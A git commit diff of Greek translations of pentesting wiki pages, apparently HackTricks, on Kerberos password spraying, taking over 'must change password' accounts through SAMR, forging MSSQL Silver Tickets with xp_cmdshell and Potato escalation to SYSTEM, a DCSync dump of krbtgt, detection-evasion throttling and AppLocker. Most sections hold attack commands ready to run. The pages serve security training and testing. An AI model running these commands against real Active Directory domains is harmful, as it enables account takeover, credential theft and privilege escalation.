Translated ['src/windows-hardening/authentication-credentials-uac-and-ef

This commit is contained in:
Translator 2025-09-03 17:18:43 +00:00
parent 7f89257732
commit 465bfcb1b7
4 changed files with 252 additions and 142 deletions

View File

@ -1,7 +1,7 @@
# Kerberos Authentication
# Αυθεντικοποίηση Kerberos
{{#include ../../banners/hacktricks-training.md}}
**Δείτε την καταπληκτική ανάρτηση από:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Δείτε το καταπληκτικό άρθρο στο:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Μόλις βρείτε αρκετά **valid usernames** μπορείτε να δοκιμάσετε τους πιο **common passwords** (έχετε υπόψη την password policy του περιβάλλοντος) για κάθε έναν από τους ανακαλυφθέντες users.\
Κατά **default** το **minimum** **password** **length** είναι **7**.
Αφού βρείτε μερικά **valid usernames** μπορείτε να δοκιμάσετε τους πιο **common passwords** (έχοντας υπόψη την password policy του περιβάλλοντος)\ με κάθε έναν από τους ανακαλυφθέντες χρήστες.\
Από **default** το **minimum** **password** **length** είναι **7**.
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Λίστες με **common usernames** μπορεί επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Σημειώστε ότι **μπορεί να lockout μερικούς λογαριασμούς αν δοκιμάσετε αρκετούς λανθασμένους passwords** (κατά default περισσότερους από 10).
Σημειώστε ότι **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### Λήψη password policy
### Get password policy
Αν έχετε κάποια user credentials ή ένα shell ως domain user μπορείτε να **get the password policy with**:
Εάν έχετε κάποια user credentials ή ένα shell ως domain user μπορείτε να **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,27 +31,27 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Εκμετάλλευση από Linux (ή από όλα)
### Exploitation από Linux (ή όλα)
- Χρήση του **crackmapexec:**
- Χρήση **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- Χρήση [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
- Χρησιμοποιώντας [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να καθορίσετε τον αριθμό προσπαθειών για να αποφύγετε lockouts):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να υποδείξετε τον αριθμό των προσπαθειών για να αποφύγετε τα lockouts):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Χρήση [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΝΙΣΤΑΤΑΙ, ΚΑΠΟΙΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ
- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - Δεν συνιστάται — μερικές φορές δεν λειτουργεί
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
![](<../../images/image (745).png>)
- Χρησιμοποιώντας το **rpcclient**:
- Χρησιμοποιώντας **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
```
#### Από Windows
- Με [Rubeus](https://github.com/Zer1t0/Rubeus) έκδοση με brute module:
- Με την έκδοση του [Rubeus](https://github.com/Zer1t0/Rubeus) με το brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί εξ ορισμού να δημιουργήσει χρήστες από το domain και να λαμβάνει την πολιτική κωδικών πρόσβασης από αυτό, περιορίζοντας τις προσπάθειες ανάλογα με αυτήν):
- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει users από το domain από προεπιλογή και θα παίρνει την password policy από το domain και θα περιορίζει τις προσπάθειες σύμφωνα με αυτή):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,13 +85,45 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### Αναγνώριση και κατάληψη "Password must change at next logon" Accounts (SAMR)
Μια low-noise τεχνική είναι να κάνετε spray ένα benign/empty password και να εντοπίσετε λογαριασμούς που επιστρέφουν STATUS_PASSWORD_MUST_CHANGE, που υποδεικνύει ότι ο κωδικός έχει εξαναγκαστεί σε λήξη και μπορεί να αλλάξει χωρίς να γνωρίζετε τον προηγούμενο.
Workflow:
- Καταγράψτε τους χρήστες (RID brute via SAMR) για να δημιουργήσετε τη λίστα στόχων:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray ένα κενό password και συνέχισε στις hits για να αποκτήσεις accounts που πρέπει να αλλάξουν στο επόμενο logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Για κάθε hit, αλλάξτε τον κωδικό πρόσβασης μέσω SAMR με το NetExecs module (δεν απαιτείται ο παλιός κωδικός όταν το "must change" είναι ενεργοποιημένο):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Λειτουργικές σημειώσεις:
- Βεβαιώσου ότι το host σου έχει συγχρονισμένη ώρα με τον DC πριν από λειτουργίες που βασίζονται σε Kerberos: `sudo ntpdate <dc_fqdn>`.
- Ένα [+] χωρίς (Pwn3d!) σε ορισμένα modules (π.χ., RDP/WinRM) σημαίνει ότι τα creds είναι έγκυρα αλλά ο λογαριασμός δεν διαθέτει δικαιώματα διαδραστικής σύνδεσης.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Το Kerberos pre-authbased spraying μειώνει τον θόρυβο σε σχέση με τις προσπάθειες SMB/NTLM/LDAP bind και εναρμονίζεται καλύτερα με τις πολιτικές lockout του AD. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να κάνει spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να επισημαίνει compromised principals σε Neo4j για BloodHound pathing.
Το Kerberos pre-authbased spraying μειώνει τον θόρυβο σε σχέση με SMB/NTLM/LDAP bind attempts και ευθυγραμμίζεται καλύτερα με τις AD lockout policies. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να πραγματοποιεί spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να tag compromised principals στο Neo4j για BloodHound pathing.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Στόχευση και έλεγχος προτύπων:
Στόχευση και έλεγχος μοτίβων:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Μέτρα για αθέατη λειτουργία και ασφάλεια:
Έλεγχοι απόκρυψης και ασφάλειας:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -144,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
```
Available variables include:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
- Χρονικά από το pwdLastSet κάθε χρήστη (ή whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Βοηθήματα σύνθεσης και org token: {separator}, {suffix}, {extra}
Operational notes:
- Προτιμήστε να κάνετε query στον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με πολιτικές.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Οι προσπάθειες Kerberos pre-auth εμφανίζονται ως 4768/4771 στην DC telemetry; χρησιμοποιήστε jitter και rate-limiting για να μειώσετε την ανιχνευσιμότητα.
- Προτιμήστε να κάνετε query τον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με policy.
- Οι resets του badPwdCount ενεργοποιούνται στην επόμενη προσπάθεια μετά το observation window· χρησιμοποιήστε threshold και timing για να παραμείνετε ασφαλείς.
- Οι Kerberos pre-auth προσπάθειες εμφανίζονται ως 4768/4771 στη DC telemetry· χρησιμοποιήστε jitter και rate-limiting για να μη ξεχωρίζετε.
> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200; προσαρμόστε με -lps όπως χρειάζεται.
> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200· προσαρμόστε με -lps αν χρειαστεί.
## Outlook Web Access
Υπάρχουν πολλαπλά εργαλεία για p**assword spraying outlook**.
Υπάρχουν πολλά εργαλεία για password spraying στο Outlook.
- Με [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Με [Ruler](https://github.com/sensepost/ruler) (αξιόπιστο!)
- Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και ένα password / μια μικρή λίστα passwords για να spray.
Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και ένα password / μια μικρή λίστα passwords για να κάνετε password spraying.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -194,6 +226,7 @@ Operational notes:
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,15 +6,15 @@
## Silver ticket
Η επίθεση **Silver Ticket** περιλαμβάνει την εκμετάλλευση υπηρεσιακών εισιτηρίων σε περιβάλλοντα Active Directory (AD). Αυτή η μέθοδος βασίζεται στην **απόκτηση του NTLM hash ενός λογαριασμού υπηρεσίας**, όπως ενός λογαριασμού υπολογιστή, για να κατασκευαστεί ένα Ticket Granting Service (TGS) ticket. Με αυτό το πλαστό εισιτήριο, ένας επιτιθέμενος μπορεί να έχει πρόσβαση σε συγκεκριμένες υπηρεσίες στο δίκτυο, **υποδυόμενος οποιονδήποτε χρήστη**, συνήθως στοχεύοντας σε διοικητικά δικαιώματα. Τονίζεται ότι η χρήση κλειδιών AES για την κατασκευή εισιτηρίων είναι πιο ασφαλής και λιγότερο ανιχνεύσιμη.
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
> [!WARNING]
> Τα Silver Tickets είναι λιγότερο ανιχνεύσιμα από τα Golden Tickets επειδή απαιτούν μόνο το **hash του λογαριασμού υπηρεσίας**, όχι του λογαριασμού krbtgt. Ωστόσο, είναι περιορισμένα στην συγκεκριμένη υπηρεσία που στοχεύουν. Επιπλέον, απλώς κλέβοντας τον κωδικό πρόσβασης ενός χρήστη.
Επιπλέον, αν παραβιάσετε τον **κωδικό πρόσβασης ενός λογαριασμού με SPN** μπορείτε να χρησιμοποιήσετε αυτόν τον κωδικό πρόσβασης για να δημιουργήσετε ένα Silver Ticket υποδυόμενοι οποιονδήποτε χρήστη σε αυτή την υπηρεσία.
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
Για την κατασκευή εισιτηρίων, χρησιμοποιούνται διάφορα εργαλεία ανάλογα με το λειτουργικό σύστημα:
Για τη δημιουργία των tickets, χρησιμοποιούνται διαφορετικά εργαλεία ανάλογα με το λειτουργικό σύστημα:
### On Linux
### Σε Linux
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@ -37,48 +37,80 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
Η υπηρεσία CIFS επισημαίνεται ως κοινός στόχος για την πρόσβαση στο σύστημα αρχείων του θύματος, αλλά και άλλες υπηρεσίες όπως οι HOST και RPCSS μπορούν επίσης να εκμεταλλευτούν για εργασίες και ερωτήματα WMI.
Η υπηρεσία CIFS επισημαίνεται ως κοινός στόχος για πρόσβαση στο σύστημα αρχείων του θύματος, αλλά άλλες υπηρεσίες όπως HOST και RPCSS μπορούν επίσης να εκμεταλλευτούνται για εργασίες και ερωτήματα WMI.
### Παράδειγμα: MSSQL υπηρεσία (MSSQLSvc) + Potato σε SYSTEM
Εάν έχετε το NTLM hash (ή το AES key) ενός λογαριασμού υπηρεσίας SQL (π.χ. sqlsvc), μπορείτε να πλαστογραφήσετε ένα TGS για το MSSQL SPN και να προσωμοιώσετε οποιονδήποτε χρήστη στην υπηρεσία SQL. Από εκεί, ενεργοποιήστε το xp_cmdshell για να εκτελέσετε εντολές ως ο λογαριασμός υπηρεσίας SQL. Εάν αυτό το token έχει SeImpersonatePrivilege, αλυσοδέστε ένα Potato για να αναβαθμίσετε σε SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Εάν το προκύπτον πλαίσιο έχει SeImpersonatePrivilege (συχνά αληθές για service accounts), χρησιμοποίησε μια παραλλαγή Potato για να αποκτήσεις SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
Περισσότερες λεπτομέρειες για την κατάχρηση του MSSQL και την ενεργοποίηση του xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Επισκόπηση τεχνικών Potato:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## Διαθέσιμες Υπηρεσίες
| Τύπος Υπηρεσίας | Υπηρεσία Silver Tickets |
| ------------------------------------------ | ------------------------------------------------------------------------ |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Ανάλογα με το λειτουργικό σύστημα επίσης:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>Σε ορισμένες περιπτώσεις μπορείτε απλώς να ζητήσετε: WINRM</p> |
| Προγραμματισμένα Καθήκοντα | HOST |
| Κοινή Χρήση Αρχείων Windows, επίσης psexec | CIFS |
| Λειτουργίες LDAP, συμπεριλαμβανομένου του DCSync | LDAP |
| Εργαλεία Διαχείρισης Απομακρυσμένων Διακομιστών Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Χρυσά Εισιτήρια | krbtgt |
| Τύπος Υπηρεσίας | Υπηρεσία Silver Tickets |
| ---------------------------------------- | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Χρησιμοποιώντας **Rubeus** μπορείτε να **ζητήσετε όλα** αυτά τα εισιτήρια χρησιμοποιώντας την παράμετρο:
Χρησιμοποιώντας **Rubeus** μπορείτε να ζητήσετε όλα αυτά τα tickets χρησιμοποιώντας την παράμετρο:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### IDs Γεγονότων Silver Tickets
### Event IDs για Silver tickets
- 4624: Σύνδεση Λογαριασμού
- 4634: Αποσύνδεση Λογαριασμού
- 4672: Σύνδεση Διαχειριστή
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
## Επιμονή
## Διατήρηση πρόσβασης
Για να αποφευχθεί η περιστροφή του κωδικού πρόσβασης των μηχανών κάθε 30 ημέρες, ρυθμίστε `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ή μπορείτε να ρυθμίσετε `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` σε μεγαλύτερη τιμή από 30 ημέρες για να υποδείξετε την περίοδο περιστροφής κατά την οποία θα πρέπει να περιστραφεί ο κωδικός πρόσβασης της μηχανής.
Για να αποφύγετε τα μηχανήματα από το να αλλάζουν τον κωδικό τους κάθε 30 ημέρες ορίστε `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ή μπορείτε να ορίσετε `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` σε μια τιμή μεγαλύτερη από 30 ημέρες για να υποδείξετε την περίοδο περιστροφής στην οποία πρέπει να περιστραφεί ο κωδικός του μηχανήματος.
## Κατάχρηση Εισιτηρίων Υπηρεσίας
## Κατάχρηση Service tickets
Στα παρακάτω παραδείγματα ας φανταστούμε ότι το εισιτήριο ανακτάται υποδυόμενοι τον λογαριασμό διαχειριστή.
Στα ακόλουθα παραδείγματα ας υποθέσουμε ότι το ticket αποκτήθηκε προσωποποιώντας τον λογαριασμό διαχειριστή.
### CIFS
Με αυτό το εισιτήριο θα μπορείτε να έχετε πρόσβαση στους φακέλους `C$` και `ADMIN$` μέσω **SMB** (αν είναι εκτεθειμένοι) και να αντιγράψετε αρχεία σε ένα μέρος του απομακρυσμένου συστήματος αρχείων απλά κάνοντας κάτι όπως:
Με αυτό το ticket θα μπορέσετε να αποκτήσετε πρόσβαση στους φακέλους `C$` και `ADMIN$` μέσω **SMB** (εφόσον είναι εκτεθειμένοι) και να αντιγράψετε αρχεία σε μέρος του απομακρυσμένου filesystem απλώς κάνοντας κάτι σαν:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Θα μπορείτε επίσης να αποκτήσετε ένα shell μέσα στον υπολογιστή ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας **psexec**:
Θα μπορείτε επίσης να αποκτήσετε shell στον host ή να εκτελέσετε αυθαίρετες εντολές χρησιμοποιώντας **psexec**:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -86,7 +118,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### HOST
Με αυτή την άδεια μπορείτε να δημιουργήσετε προγραμματισμένα καθήκοντα σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές:
Με αυτήν την άδεια μπορείτε να δημιουργήσετε scheduled tasks σε απομακρυσμένους υπολογιστές και να εκτελέσετε αυθαίρετες εντολές:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -100,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Με αυτά τα εισιτήρια μπορείτε να **εκτελέσετε WMI στο σύστημα του θύματος**:
Με αυτά τα tickets μπορείτε να **εκτελέσετε WMI στο σύστημα του θύματος**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -110,7 +142,8 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Βρείτε **περισσότερες πληροφορίες σχετικά με το wmiexec** στη παρακάτω σελίδα:
Βρείτε **περισσότερες πληροφορίες για wmiexec** στην παρακάτω σελίδα:
{{#ref}}
../lateral-movement/wmiexec.md
@ -118,22 +151,23 @@ wmic remote.computer.local list full /format:list
### HOST + WSMAN (WINRM)
Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση** σε αυτόν και ακόμη και να αποκτήσετε ένα PowerShell:
Με πρόσβαση winrm σε έναν υπολογιστή μπορείτε να **έχετε πρόσβαση σε αυτόν** και ακόμη να αποκτήσετε ένα PowerShell:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Δείτε την παρακάτω σελίδα για να μάθετε **περισσότερους τρόπους σύνδεσης με έναν απομακρυσμένο υπολογιστή χρησιμοποιώντας winrm**:
Ελέγξτε την παρακάτω σελίδα για να μάθετε **περισσότερους τρόπους σύνδεσης με έναν απομακρυσμένο host χρησιμοποιώντας winrm**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> Σημειώστε ότι **το winrm πρέπει να είναι ενεργό και να ακούει** στον απομακρυσμένο υπολογιστή για να έχετε πρόσβαση σε αυτόν.
> Σημειώστε ότι **το winrm πρέπει να είναι ενεργό και να ακούει** στον απομακρυσμένο υπολογιστή για να έχετε πρόσβαση.
### LDAP
Με αυτό το προνόμιο μπορείτε να εξάγετε τη βάση δεδομένων του DC χρησιμοποιώντας **DCSync**:
Με αυτό το προνόμιο μπορείτε να κάνετε dump στη βάση δεδομένων του DC χρησιμοποιώντας **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
@ -150,6 +184,7 @@ dcsync.md
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -1,17 +1,17 @@
# Windows Security Controls
# Έλεγχοι Ασφαλείας Windows
{{#include ../../banners/hacktricks-training.md}}
## AppLocker Policy
## Πολιτική AppLocker
Μια λίστα λευκών εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού.
Μια λίστα επιτρεπόμενων εφαρμογών (application whitelist) είναι μια λίστα εγκεκριμένων εφαρμογών ή εκτελέσιμων αρχείων που επιτρέπεται να βρίσκονται και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευτεί το περιβάλλον από κακόβουλο λογισμικό (malware) και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση λευκής λίστας εφαρμογών** της Microsoft και δίνει στους διαχειριστές συστημάτων έλεγχο πάνω σε **ποια εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε εκτελέσιμα, σενάρια, αρχεία εγκατάστασης Windows, DLLs, πακέτα εφαρμογών και εγκαταστάτες πακέτων εφαρμογών.\
Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η λύση της Microsoft για application whitelisting και δίνει στους διαχειριστές συστήματος έλεγχο σχετικά με **ποια εφαρμογές και αρχεία μπορούν να εκτελέσουν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε executables, scripts, Windows installer files, DLLs, packaged apps, και packed app installers.\
Είναι σύνηθες οι οργανισμοί να **block cmd.exe and PowerShell.exe** και να περιορίζουν το write access σε ορισμένους καταλόγους, **but this can all be bypassed**.
### Check
### Έλεγχος
Έλεγχος ποια αρχεία/επέκταση είναι στη μαύρη/λευκή λίστα:
Ελέγξτε ποια αρχεία/επεκτάσεις είναι blacklisted/whitelisted:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,56 +20,56 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο για να αναθεωρήσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα:
Αυτή η διαδρομή μητρώου περιέχει τις ρυθμίσεις και τις πολιτικές που εφαρμόζονται από το AppLocker, παρέχοντας έναν τρόπο να εξετάσετε το τρέχον σύνολο κανόνων που επιβάλλονται στο σύστημα:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Παράκαμψη
### Bypass
